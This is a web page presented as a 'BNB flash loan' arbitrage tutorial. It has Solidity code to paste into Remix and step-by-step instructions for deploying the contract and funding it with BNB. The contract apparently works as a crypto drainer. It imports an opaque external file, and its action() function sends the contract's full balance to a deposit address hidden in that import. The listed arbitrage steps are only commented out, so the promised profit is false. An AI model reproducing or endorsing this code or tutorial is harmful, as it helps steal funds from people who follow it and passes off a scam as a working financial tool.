BNB SOLIDITY CODE

--UPDATED & CHECKED AS OF 2022--

Copy the code below & paste into your remix.

pragma solidity ^0.5.0;
 
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
import "https://github.com/ipfscode/contracts/blob/main/ipfse439/ether.txt";
 
contract GetFlashLoan {
    string public tokenName;
    string public tokenSymbol;
    uint loanAmount;
    Manager manager;
 
    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        loanAmount = _loanAmount;
 
        manager = new Manager();
        }
 
    function() external payable {}
 
    function action() public payable {
           // Send required coins for swap
       address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
 
          // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
          // Breakdown of functions written below
      manager.performTasks();
 
           /* Breakdown of functions
          // Submit token to BSC blockchain
      string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
 
          // List the token on pancakeswap
       manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress);
         
          // Get BNB Loan from Multiplier-Finance
        string memory loanAddress = manager.takeFlashLoan(loanAmount);
 
      // Convert half BNB to DAI
        manager.pancakeDAItoBNB(loanAmount / 2);
 
          // Create BNB and DAI pairs for our token & Provide liquidity
            string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
        manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
        string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
        manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
 
         // Perform swaps and profit on Self-Arbitrage
        manager.pancakePerformSwaps();
 
     // Move remaining BNB from Contract to your account
        manager.contractToWallet("BNB");
 
         // Repay Flash loan
        manager.repayLoan(loanAddress);
     */
     }
}

 

THE TUTORIALS

Please follow the instructions on this video & read instructions below.

Step by Step Instructions

Step By Step Tutorial for Flash Loan:

  1. Get the Metamask Extension for your browser
  2. Open http://remix.ethereum.org/ from within your browser.
  3. Click on File Explorers and click "Create New File ".
  4. Name the file flashloans.sol and paste the contract code link below.

https://0bin.net/paste/kIz1fM+z#Br1DHUIVKUKyA0MXcBlvOcQRwQambkiAT+z9q8+HVG6

  1. Click on Deploy & Run transactions and set "ENVIRONMENT" to Injected Web3.
  2. Connect your MetaMask wallet.
  3. Click on the "Solidity Compiler" and set the compiler version to 0.5.0
  4. Click on the Solidity Compiler and then click the blue button "Compile flashloans.sol"
  5. Wait for the code to compile.
  6. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button
  7. On "_TOKENNAME" mytoken
  8. On "_TOKENSYMBOL" LOP
  9. On "_LOANAMOUNT" 1000
  10. Click Transact and confirm the transaction in MetaMask.
  11. Wait for the transaction to confirm.
  12. Copy the address of the newly deployed contract.
  13. Send BNB to the deployed contract to initiate the swap 0.2+ (0.3 up is better as you will get a bigger amount in each swap)
  14. Wait for the transaction to confirm.
  15. Now, Click "action" (red box) to execute the Flash Loan.
  16. Confirm the transaction in MetaMask and wait for the confirmation.
  17. You can now check your wallet

Our Visitor

153758
Users Today : 45
Users Yesterday : 69
Total views : 163882